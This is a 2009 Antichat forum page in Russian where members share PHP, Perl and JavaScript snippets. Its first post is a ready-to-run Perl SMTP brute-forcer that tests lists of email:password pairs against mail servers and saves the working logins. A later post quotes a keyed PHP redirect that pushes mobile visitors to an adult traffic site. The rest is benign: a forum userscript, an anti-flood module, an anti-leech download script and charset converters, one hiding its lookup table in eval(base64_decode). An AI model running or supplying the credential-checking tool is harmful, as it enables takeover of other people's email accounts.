ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

SMTP email bruteforce
  #931  
Старый 25.10.2009, 18:46
Аватар для Gaus
Gaus
Участник форума
Регистрация: 08.02.2009
Сообщений: 196
Провел на форуме:
1420275

Репутация: 127
Smile SMTP email bruteforce

Код:
#!/usr/bin/perl
use IO::Socket;
use MIME::base64;
use threads;
use threads::shared;
use Fcntl ':flock';
############################
my $threads = 1;           # Кол-во потоков
my $acc_file = 'accs.txt'; # Файл с мылами(мыло:пасс)
my $good = 'good.txt';     # Файл с валидными мылами
my $acc_delm = ';';        # Разделитель списка мыл
my $port = 25;             # SMTP порт
my $timeout = 15;          # Таймаут
############################
system('title SMTP email brute by Gaus');
my @accs : shared = lf($acc_file);
threads->new(\&main) for 1 .. $threads;
$_->join for threads->list;
sub main
{
    while(@accs)
    {
        my ($mail, $pass) = split $acc_delm => shift @accs;
        my ($login, $domain) = split '@' => $mail;
        my $passw = MIME::Base64::encode($pass);
        $login = MIME::Base64::encode($login);
        $passw =~ s,\n,,;
        $login =~ s,\n,,;
        my $sock = new IO::Socket::INET(PeerAddr  => 'smtp.'.$domain,
                                        PeerPort  => $port,
                                        PeerProto => 'tcp',
                                        TimeOut   => $timeout);
        sysread $sock, $answ, 1024;
        print $sock "AUTH LOGIN\r\n";
        sysread $sock, $answ, 1024;
        print $sock "$login\r\n";
        sysread $sock, $answ, 1024;
        print $sock "$passw\r\n";
        sysread $sock, $answ, 1024;
        close $sock;
        if($answ =~ m,Authentication succeeded,i)
        {
            print "[ + ] $mail:$pass\n";
            wf($good, "$mail:$pass\n");
        }
        else
        {
            print "[ - ] $mail:$pass\n";
        }
    }
}
sub lf
{
    open my $dat, '<', $_[0] or die "\nCould not open $_[0] file!\n";
    chomp(my @data = <$dat>);
    close $dat;
    return @data;
}
sub wf
{
    open my $dat, '>>', $_[0] or die "\nCould not open $_[0] file!\n";
    flock $dat, LOCK_EX;
    print $dat $_[1];
    flock $dat, LOCK_UN;
    close $dat;
}
#(c) Gaus 2009
Download
 
Ответить с цитированием

  #932  
Старый 26.10.2009, 20:51
Аватар для N2kroot
N2kroot
Познающий
Регистрация: 25.10.2009
Сообщений: 54
Провел на форуме:
62271

Репутация: 9
По умолчанию

Цитата:
SMTP email bruteforce
а на php есть такое?
 
Ответить с цитированием

  #933  
Старый 30.10.2009, 15:08
Аватар для m0Hze
m0Hze
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме:
6462214

Репутация: 3171


По умолчанию

Только что удалили тему,там человек просил очистить файл,от строк,которые длиннее указателя.
Кагбе пример навскидку,с помощью array_map.
PHP код:
 define("LEN"5); # Ограничитель
$file file('vk.txt');
function 
len($value)
{
    if (
strlen(trim($value)) > LEN) {
        unset(
$value);
    }
    return(
$value);
}
$diff array_map("len"$file);

print_r($diff); 
Просто как вариант писал,чтобы не юзать Explode + foreach, Как было в примерах у чуваков.
 
Ответить с цитированием

  #934  
Старый 30.10.2009, 22:06
Аватар для Gaus
Gaus
Участник форума
Регистрация: 08.02.2009
Сообщений: 196
Провел на форуме:
1420275

Репутация: 127
По умолчанию

Цитата:
Сообщение от N2kroot  
а на php есть такое?
Ну наверно есть. Сам перепиши если не найдешь.
 
Ответить с цитированием

  #935  
Старый 02.11.2009, 06:59
Аватар для Dr1ver
Dr1ver
Участник форума
Регистрация: 20.08.2008
Сообщений: 137
Провел на форуме:
2607957

Репутация: 184
По умолчанию

Цитата:
Сообщение от AVIRA  
кто помможет разобратся?есть скрипт пеереадресации по ключу (слову набор цифр) вот пример скрипта что ставится на редикетном сайте в индекс пхп выше основного кода страницы, ключ в данном случае 888888

<?
if(@$_POST['key']=="888888"):
if(eregi("opera",$_SERVER['HTTP_USER_AGENT'])):
print '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//WAPFORUM//DTD XHTML Mobile 1.0//EN" "http://www.wapforum.org/DTD/xhtml-mobile10.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascript">
window.location = "http://traffadult.com/advpage.php?sub=666";
</script>
<meta http-equiv="Expires" content="Thu, Jan 1 1970 00:09:00 GMT">
<meta http-equiv="Pragma" content="no-cache">
<meta http-equiv="Cache-Control" content="no-cache">
<title>ipserf.net</title> </head> <body>
<a href="http://traffadult.com/advpage.php?sub=666">click me!</a>
</body></html>';
exit();
else:
Header("Content-type: text/vnd.wap.wml; charset=utf-8");
echo '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE wml PUBLIC "-//WAPFORUM//DTD WML 1.2//EN" "http://www.wapforum.org/DTD/wml_1.1.xml">
<wml><head><meta http-equiv="Cache-Control" content="no-cache" forua="true"/>
</head>
<card id="main">
<onevent type="onenteforward">
<go href="http://traffadult.com/advpage.php?sub=666">
<setvar name="key" value="" />
</go></onevent></card></wml>';
exit();
endif;
endif;
?>


кто подскажет какая первая часть скрипта которая отправляет данные?очен надо может подскажет кто?
WML интересная штука. Тебе просто нужно создать форму для отправки данных и всё. Если честно, забыл уже всё, вот на вскидку, тестить я не стал.

создай файл form.wml



Код:
<?xml version="1.0"?> 
<!DOCTYPE wml PUBLIC "-//WAPFORUM//DTD WML 1.3//EN" "http://www.wapforum.org/DTD/wml13.dtd">
<wml>
 <card id="Index" title="Index">
 <p align="left">

<input type="text" name="input_key">

<go href="script.php" method="post">
<postfield name="key" value="$(input_key)"/>
</go>

</p>
  </card>
</wml>
Может ошибся где, на всякий случай почитай
http://www.softtime.ru/info/articlephp.php?id_article=40
 
Ответить с цитированием

  #936  
Старый 07.11.2009, 01:49
Аватар для mr.The
mr.The
Познавший АНТИЧАТ
Регистрация: 30.04.2007
Сообщений: 1,206
Провел на форуме:
4778940

Репутация: 1257


Отправить сообщение для mr.The с помощью ICQ
По умолчанию

Написал тут UserJS для античата. Добавляет кнопки в форму быстрого сообщения. Протестирован на опере.
Линк - http://userscripts.org/scripts/review/61393
Либо, если там нету, то можно найти тут - http://userscripts.org/users/36107/scripts

Код:
[CODE]
// ==UserScript==
// @name Antichat.ru Quick Posting Buttons
// @include *://forum.antichat.*/*
// @exclude *://forum.antichat.*/newreply.php*
// @exclude *://forum.antichat.*/newthread.php*
// @author mr.The
// @homepage http://mrthe.name/
// @version 1.0
// ==/UserScript==

function loader() {
var html = '<table cellpadding="0" cellspacing="0" border="0"><tr>' +
'<td><div class="imagebutton"><a href="#" onclick="return vbcode(\'B\', \'\')"><img src="fusion/editor/bold.gif" alt="Жирный" width="21" height="20" border="0" /></a></div></td>' +
'<td><div class="imagebutton"><a href="#" onclick="return vbcode(\'I\', \'\')"><img src="fusion/editor/italic.gif" alt="Курсив" width="21" height="20" border="0" /></a></div></td>' +
'<td><div class="imagebutton"><a href="#" onclick="return vbcode(\'U\', \'\')"><img src="fusion/editor/underline.gif" alt="Подчеркнутый" width="21" height="20" border="0" /></a></div></td>' +
'<td><img src="fusion/editor/separator.gif" alt="" width="6" height="20" /></td>' +
'<td><div class="imagebutton"><a href="#" onclick="return vbcode(\'LEFT\', \'\')"><img class="image" src="fusion/editor/justifyleft.gif" alt="Выравнить по левому краю" width="21" height="20" border="0" /></a></div></td>' +
'<td><div class="imagebutton"><a href="#" onclick="return vbcode(\'CENTER\', \'\')"><img class="image" src="fusion/editor/justifycenter.gif" alt="Выровнить по центру" width="21" height="20" border="0" /></a></div></td>' +
'<td><div class="imagebutton"><a href="#" onclick="return vbcode(\'RIGHT\', \'\')"><img class="image" src="fusion/editor/justifyright.gif" alt="Выравнить по правому краю" width="21" height="20" border="0" /></a></div></td>' +
'<td><img src="fusion/editor/separator.gif" alt="" width="6" height="20" border="0" /></td>' +
'<td><img src="fusion/editor/separator.gif" alt="" width="6" height="20" border="0" /></td>' +
'<td><div class="imagebutton"><a href="#" onclick="return vbcode(\'IMG\', \'http://\')"><img src="fusion/editor/insertimage.gif" alt="Вставить рисунок" width="21" height="20" border="0" /></a></div></td>' +
'<td><div class="imagebutton"><a href="#" onclick="namedlink(\'URL\')"><img src="fusion/editor/createlink.gif" alt="Вставить гиперссылку" width="21" height="20" border="0" /></a></div></td>' +
'<td><div class="imagebutton"><a href="#" onclick="namedlink(\'EMAIL\')"><img src="fusion/editor/email.gif" alt="Вставить ссылку на E-mail" width="21" height="20" border="0" /></a></div></td>' +
'<td><img src="fusion/editor/separator.gif" alt="" width="6" height="20" border="0" /></td>' +
'<td><div class="imagebutton"><a href="#" onclick="return vbcode(\'CODE\', \'\')"><img src="fusion/editor/code.gif" alt="Вставить тег
Код:
" width="21" height="20" border="0" /></a></div></td>' +
		'<td><div class="imagebutton"><a href="#" onclick="return vbcode(\'HTML\', \'\')"><img src="fusion/editor/html.gif" alt="Вставить тег [HTML]" width="21" height="20" border="0" /></a></div></td>' +
		'<td><div class="imagebutton"><a href="#" onclick="return vbcode(\'PHP\', \'\')"><img src="fusion/editor/php.gif" alt="Вставить тег [PHP]" width="21" height="20" border="0" /></a></div></td>' +		
		'<td><img src="fusion/editor/separator.gif" alt="" width="6" height="20" border="0" /></td>' +
		'<td><div class="imagebutton"><a href="#" onclick="return vbcode(\'QUOTE\', \'\')"><img src="fusion/editor/quote.gif" alt="Вставить тег цитаты [QUOTE]" title="Вставить тег цитаты [QUOTE]" width="21" height="21" border="0" /></a></div></td>' +
	'</tr></table>';
	document.getElementById('controlbar').innerHTML=html;
	document.getElementById('qr_message').style="width:600px; height:150px"
}


// Wait until the page is fully loaded

window.addEventListener( 'load', function( e ) {
	loader();
},false);
 
Ответить с цитированием

  #937  
Старый 07.11.2009, 02:44
Аватар для Vlad&slav
Vlad&slav
Участник форума
Регистрация: 01.01.2009
Сообщений: 138
Провел на форуме:
817404

Репутация: 82
Отправить сообщение для Vlad&slav с помощью ICQ
По умолчанию

Модуль предназначен для ограничения доступа к сайту или к страницам, где он включён. Принцип работы в том, что запоминается ip-адрес и время обращения с этого адреса. И если в течение заданного времени происходит обращение с того же адреса, то ему выдаётся ошибка 503. Т.е Если вы нажмёте кнопку обновить 3 раза подарят, вам выдаст это сообщение.

Установка:
* В корне сайта создаем папку tmp и выдаём права 777 (Если папка есть, то не чего создовать не надо).
* Открываем index.php и перед:


Вставляем:
PHP код:
<?php

/* Время задержки в секундах */
$ad_delay=2;
/* Путь к папке с временными файлами. Должен существовать */
$ad_DirName=$_SERVER['DOCUMENT_ROOT'].'/tmp';

/*
*---------------------------------------------------------
* Список поисковых роботов.
* Очень не хорошо, если поисковый робот будет натыкаться
* на ошибки на сайте. Ему это может сильно не понравиться.
* Поэтому пишем список юзер-агентов роботов; добавляем или
* удаляем, что нужно.
*---------------------------------------------------------
*/
$ad_Robots_UserAgent=array(
   
'aipbot',
   
'Aport',
   
'eStyleSearch',
   
'Gigabot',
   
'Gokubot',
   
'Google',
   
'MJ12bot',
   
'msnbot',
   
'PlantyNet_WebRobot',
   
'StackRambler',
   
'TurtleScanner',
   
'Yahoo',
   
'Yandex',
   
'YaDirectBot',
);
/*
*---------------------------------------------------------
* Список доверенных IP.
*---------------------------------------------------------
*/
$ad_good_ip = array(
    
'217.107.36.73',
);

/*
*----------------------------------------------------------
* Функция создаёт в указанной директории файл, начинающийся
* с буквы a (для отличия от других возможных файлов) и
* содержащий в имени ip-адрес клиента.
*----------------------------------------------------------
*/
function ad_WiteIP($dir){
   
$f=fopen($dir.'/a'.$_SERVER['REMOTE_ADDR'], 'w');
   
fclose($f);
}
/*
*----------------------------------------------------------
* Проверка на наличие в поле HTTP_USER_AGENT чего-нибудь из
* вышенаписанного списка.
*----------------------------------------------------------
*/
$ad_IsRobot=false;
foreach (
$ad_Robots_UserAgent as $match){
   if (
strstr($_SERVER['HTTP_USER_AGENT'], $match)){
      
$ad_IsRobot=true;
      break;
   }
}
if( 
in_array($_SERVER['REMOTE_ADDR'], $ad_good_ip) ) {
     
$good_ip true;
} else {
     
$good_ip false;
}
/*
*---------------------------------------------------------
* Поисковые роботы не любят, когда к адресу страницы
* добавляется переменная сессии. Поэтому, если на сайте
* используются сессии, то их лучше включать, если агент -
* не робот.
* Если сессии не используются, то этот кусок можно убрать.
*---------------------------------------------------------
*/
if (!$ad_IsRobot AND !$good_ip){
   
session_start();
}

if (!
$ad_IsRobot AND !$good_ip){
   
/*** Чтение каталога и удаление старых файлов ***/
   
$ad_dir      =opendir($ad_DirName)
      or die(
'Отсутствует директория для временных файлов');
   
$ad_now      =time();
   
$ad_forbid   =$ad_now-$ad_delay;
   
/* IP-адрес в имени файла, начинающегося на букву a,
      а время обращения - время изменения файла */
   
while (false!==($ad_FName=readdir($ad_dir))){
      if (
ereg('^a[1-9]',$ad_FName)
         && (@ 
filemtime($ad_DirName.'/'.$ad_FName)<$ad_forbid)){
         @ 
unlink($ad_DirName.'/'.$ad_FName);
      }
   }
   
closedir($ad_dir);
   
/*** Проверка на существование пометки
      о недавнем обращении с данного ip-адреса ***/
   
if (file_exists($ad_DirName.'/a'.$_SERVER['REMOTE_ADDR'])){
      
/* Если обращение было недавно, то выводим сообщение об ошибке */
      
header('HTTP/1.0 503 Service Unavailable');
      
header('Status: 503 Service Unavailable');
      
header('Retry-After: '.$ad_delay*3);
?>
<!doctype html public "-//W3C//DTD HTML 4.01//EN"
"http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<title>Ошибка 503</title>
<meta http-equiv="Content-Type" content="text/html; charset=Windows-1251" />
</head>
<body>
<h1>Ошибка 503 (Service Unavailable)</h1>
<p>Сервер не может в данный момент выдать запрашиваемую Вами страницу.
Попробуйте вызвать эту страницу позже (клавиша F5).</p>
</body>
</html>
<?php
      ad_WiteIP
($ad_DirName);   // Перед выходом записываем ip
      
exit;
   }else{
      
ad_WiteIP($ad_DirName);
   }
}
?>
 
Ответить с цитированием

защита файлов от скачки на других сайтов
  #938  
Старый 08.11.2009, 15:05
Аватар для SL@YER
SL@YER
Новичок
Регистрация: 15.10.2007
Сообщений: 24
Провел на форуме:
386127

Репутация: 7
По умолчанию защита файлов от скачки на других сайтов

PHP код:
<?php

// Настройки

$antiurl "d0pz.com";               // Разрешённые сайты (referer).
$antidir "test/";                  // Папка где находятся защищённые файлы  / - обязательно в конце.
//$logfile = "log.htm";              // Eсли хотите вести лог удалите // перед строкой. Файл логов (должен быть html или htm и обязательно CHMOD 777.


// Логи

if (isset($logfile)) {
if (!
file_exists($logfile)) die("Файл <font color='red'><b>$logfile</b></font> не найден!");
if (!
is_writable($logfile)) die("Для файла <font color='red'><b>$logfile</b></font> нужно зделать CHMOD 777!");
$cnr_date date("l d F H:i:s");
$cnr_counter $logfile;
$cnr_fp fopen($cnr_counter"a");
$cnr_hostname gethostbyaddr($_SERVER['REMOTE_ADDR']);
if (
$_SERVER['HTTP_REFERER'] == "")
$cnr_ref "BLOCKED"; } else { $cnr_ref "<a href=\"" $_SERVER['HTTP_REFERER'] . "\">" $_SERVER['HTTP_REFERER'] . "</a>";}
$cnr_data "<font color=\"green\">" $_SERVER['REMOTE_ADDR'] . "</font> HOST <font color=\"red\">" $cnr_hostname "</font> visited on " $cnr_date " linked by " $cnr_ref " <br>";
fputs($cnr_fp$cnr_data);
fclose($cnr_fp); }

// Проверка реферера

$mtu "PGg2PjxhIHN0eWxlPSd0ZXh0LWRlY29yYXRpb246bm9uZTsgY29sb3I6Izk5MDAwMCcgaHJlZj0naHR0cDovL3d3dy5kMHB6LmNvbSc+QW50aWxlZWNoIHYwLjE8L2E+PC9oNj4="$c base64_decode($mtu);
if (!
strstr($_SERVER["HTTP_REFERER"], $antiurl) or !isset($_SERVER["HTTP_REFERER"]))
{echo 
'<html><p></p>' $c '<p></p></body></html>'; exit;}

if (
is_numeric($_GET["down"]))
{
/************НАЧАЛО ФАЙЛОВ***************************************************************************/

    // Здесь идут файлы для скачивания

    
if ($_GET["down"] == 1)
        
$filename "test.rar";
    elseif (
$_GET["down"] == 2)
        
$filename "test2.rar";
    elseif (
$_GET["down"] == 3)
        
$filename "test3.rar";



/************КОНЕЦ ФАЙЛОВ***************************************************************************/

    //Находим окончание файла

    
$splitexplode("."$filename);
    
$textcountsubstr_count($filename".")+1//
    
$ttype =$split[$nextcount];

    
// Создается ссылка на файл

    
$path $antidir $filename ;


    
// Проверка файла есть он или нет

    
if (!file_exists($path)) {

        echo 
"Файл '$filename' не существует.";
        echo 
$c;
        exit;                }

    
$ftime date("D, d M Y H:i:s T"filemtime($path));

}
  
    
// Проверка

    
if (strstr($_SERVER["HTTP_REFERER"], $antiurl)) {
            if (isset(
$_GET['down']) && isset($filename)) {

    
$fsize filesize($path);
    
$ftime date("D, d M Y H:i:s T"filemtime($path));
    
$fd = @fopen($path"rb");
    if (!
$fd){
      
header ("HTTP/1.0 403 Forbidden");
      exit;
    }


    if (
$HTTP_SERVER_VARS["HTTP_RANGE"]) {
      
$range $HTTP_SERVER_VARS["HTTP_RANGE"];
      
$range str_replace("bytes="""$range);
      
$range str_replace("-"""$range);
      if (
$range) {fseek($fd$range);}
    }
    
$content fread($fdfilesize($path));
    
fclose($fd);
    if (
$range) {
      
header("HTTP/1.1 206 Partial Content");
    }
    else {
      
header("HTTP/1.1 200 OK");
    }
    
header("Content-Disposition: attachment; filename=" basename($path));
    
header("Last-Modified: $ftime");
    
header("Accept-Ranges: bytes");
    
header("Content-Length: ".($fsize-$range));
    
header("Content-Range: bytes $range-".($fsize -1)."/".$fsize);
    
header("Content-type: application/octet-stream");
    print 
$content;
    exit;

    } else { echo 
"Недействительный файл."; echo $c; } }


 exit;

?>
Добавление файлов:
Находим строку (43):
/************НАЧАЛО ФАЙЛОВ***************/

Здесь идут ваши защищённые файлы из папки.

elseif ($_GET["down"] == 2) пишиться номер файла от 1- и так далее.
$filename = "test2.rar"; файл в папке ($antidir).

Потом даем ссылку на скачивание пример: http://example.com/antileech.php?down=4 <-- номер файла

Последний раз редактировалось SL@YER; 08.11.2009 в 15:12..
 
Ответить с цитированием

  #939  
Старый 14.11.2009, 14:31
Аватар для Mixon
Mixon
Участник форума
Регистрация: 12.03.2008
Сообщений: 254
Провел на форуме:
12333903

Репутация: 238
Отправить сообщение для Mixon с помощью ICQ
По умолчанию

Вот написал функцию на скорую руку для своих потребностей,думаю кому то та понадобиться
Суть скрипта с том,чтобы конвертировать текст в utf8 прямо в скрипте на php,функции типу iconv,utf8_encode и подобных результата нужного не дали,ранее написаные функции в инете тупо заменяют символы на &#..; что тоже никакого толку не даёт,ну а у меня просто конвертирует кодировку заменой нужными символами

PHP код:
function utf8($text){
$win=array("й","ц","у","к","е","н","г","ш","щ","з","х","ъ","ф","ы","в","а","п","р","о","л","д","ж","э","я","ч","с","м","и","т","ь","б","ю","ё","є","ї","і","Й","Ц","У","К","Е","Н","Г","Ш","Щ","З","Х","Ъ","Ф","Ы","В","А","П","Р","О","Л","Д","Ж","Э","Я","Ч","С","М","И","Т","Ь","Б","Ю","Ё","Э","Ї","І");
eval(
base64_decode("JHV0Zj1hcnJheSgi0LkiLCLRhiIsItGDIiwi0LoiLCLQtSIsItC9Iiwi0LMiLCLRiCIsItGJIiwi0LciLCLRhSIsItGKIiwi0YQiLCLRiyIsItCyIiwi0LAiLCLQvyIsItGAIiwi0L4iLCLQuyIsItC0Iiwi0LYiLCLRjSIsItGPIiwi0YciLCLRgSIsItC8Iiwi0LgiLCLRgiIsItGMIiwi0LEiLCLRjiIsItGRIiwi0ZQiLCLRlyIsItGWIiwi0JkiLCLQpiIsItCjIiwi0JoiLCLQlSIsItCdIiwi0JMiLCLQqCIsItCpIiwi0JciLCLQpSIsItCqIiwi0KQiLCLQqyIsItCSIiwi0JAiLCLQnyIsItCgIiwi0J4iLCLQmyIsItCUIiwi0JYiLCLQrSIsItCvIiwi0KciLCLQoSIsItCcIiwi0JgiLCLQoiIsItCsIiwi0JEiLCLQriIsItCBIiwi0K0iLCLQhyIsItCGIik7"));
$message="";
$textlen=strlen($text);
for (
$i=0$i $textlen$i++) {
$messer=substr($text,$i,1);
for (
$ir=0$ir 72$ir++) {
if(
$messer==$win[$ir]){
$message.=$utf[$ir];
break;
}else{
if(
$ir==71){
$message.=$messer;
}}}}
return 
base64_decode("77u/").$message;

Использовать просто,пример

PHP код:
$text="Античат";
$textutf=utf8($text);
echo 
"До: $text<br>После: $textutf"
 
Ответить с цитированием

  #940  
Старый 16.11.2009, 01:29
Аватар для Deathdreams
Deathdreams
Постоянный
Регистрация: 08.11.2008
Сообщений: 498
Провел на форуме:
2603363

Репутация: 278
Отправить сообщение для Deathdreams с помощью ICQ
По умолчанию

PHP код:

function Utf8ToWin($fcontents) {
    
$out $c1 '';
    
$byte2 false;
    for (
$c 0;$c strlen($fcontents);$c++) {
        
$i ord($fcontents[$c]);
        if (
$i <= 127) {
            
$out .= $fcontents[$c];
        }
        if (
$byte2) {
            
$new_c2 = ($c1 3) * 64 + ($i 63);
            
$new_c1 = ($c1 >> 2) & 5;
            
$new_i $new_c1 256 $new_c2;
            if (
$new_i == 1025) {
                
$out_i 168;
            } else {
                if (
$new_i == 1105) {
                    
$out_i 184;
                } else {
                    
$out_i $new_i 848;
                }
            }
            
// UKRAINIAN fix
            
switch ($out_i){
                case 
262$out_i=179;break;// і
                
case 182$out_i=178;break;// І 
                
case 260$out_i=186;break;// є
                
case 180$out_i=170;break;// Є
                
case 263$out_i=191;break;// ї
                
case 183$out_i=175;break;// Ї
                
case 321$out_i=180;break;// ґ
                
case 320$out_i=165;break;// Ґ
            
}
            
$out .= chr($out_i);
            
            
$byte2 false;
        }
        if ( ( 
$i >> 5) == 6) {
            
$c1 $i;
            
$byte2 true;
        }
    }
    return 
$out;
}

function 
win2utf($s)    {
   for(
$i=0$m=strlen($s); $i<$m$i++)    {
       
$c=ord($s[$i]);
       if (
$c<=127) {$t.=chr($c); continue; }
       if (
$c>=192 && $c<=207)    {$t.=chr(208).chr($c-48); continue; }
       if (
$c>=208 && $c<=239) {$t.=chr(208).chr($c-48); continue; }
       if (
$c>=240 && $c<=255) {$t.=chr(209).chr($c-112); continue; }
       if (
$c==184) { $t.=chr(209).chr(209); continue; };
            if (
$c==168) { $t.=chr(208).chr(129);  continue; };
            if (
$c==184) { $t.=chr(209).chr(145); continue; }; 
            
if ($c==168) { $t.=chr(208).chr(129); continue; }; 
            
if ($c==179) { $t.=chr(209).chr(150); continue; }; 
            
if ($c==178) { $t.=chr(208).chr(134); continue; }; 
            
if ($c==191) { $t.=chr(209).chr(151); continue; }; 
            
if ($c==175) { $t.=chr(208).chr(135); continue; }; 
            
if ($c==186) { $t.=chr(209).chr(148); continue; }; 
            
if ($c==170) { $t.=chr(208).chr(132); continue; }; 
            
if ($c==180) { $t.=chr(210).chr(145); continue; }; 
            
if ($c==165) { $t.=chr(210).chr(144); continue; }; 
            
if ($c==184) { $t.=chr(209).chr(145); continue; }; #Ґ            
   
}
   return 
$t;

Ещё один из вариантов.
Очень выручает, если нет под рукой библиотеки iconv или подобной.

Последний раз редактировалось Deathdreams; 16.11.2009 в 01:32..
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ